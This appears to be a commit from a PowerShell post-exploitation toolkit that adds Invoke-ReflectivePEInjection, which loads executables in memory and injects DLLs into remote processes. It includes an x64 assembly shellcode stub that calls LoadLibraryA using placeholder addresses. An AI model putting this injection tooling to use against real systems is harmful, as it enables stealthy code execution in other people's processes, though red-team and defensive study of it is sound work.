Added Invoke-ReflectivePEInjection

Another awesome addition from Joe Bialek. Invoke-ReflectivePEInjection
is a vast improvement over Invoke-ReflectiveDllInjection. It adds the
following features:

* Now supports loading exe files in memory
* Supports reflective dll injection into a remote process
* Additional sample Visual Studio solutions

CodeExecution/Invoke-ReflectivePEInjection_Resources/Shellcode/x64/LoadLibraryA.asm

@@ -0,0 +1,23 @@
+[SECTION .text]
+
+global _start
+
+_start:
+	; Save rsp and setup stack for function call
+	push rbx
+	mov rbx, rsp
+	sub rsp, 0x20
+	and sp, 0xffc0
+
+	; Call LoadLibraryA
+	mov rcx, 0x4141414141414141	; Ptr to string of library, set by PS
+	mov rdx, 0x4141414141414141	; Address of LoadLibrary, set by PS
+	call rdx
+
+	mov rdx, 0x4141414141414141	; Ptr to save result, set by PS
+	mov [rdx], rax
+
+	; Fix stack
+	mov rsp, rbx
+	pop rbx
+	ret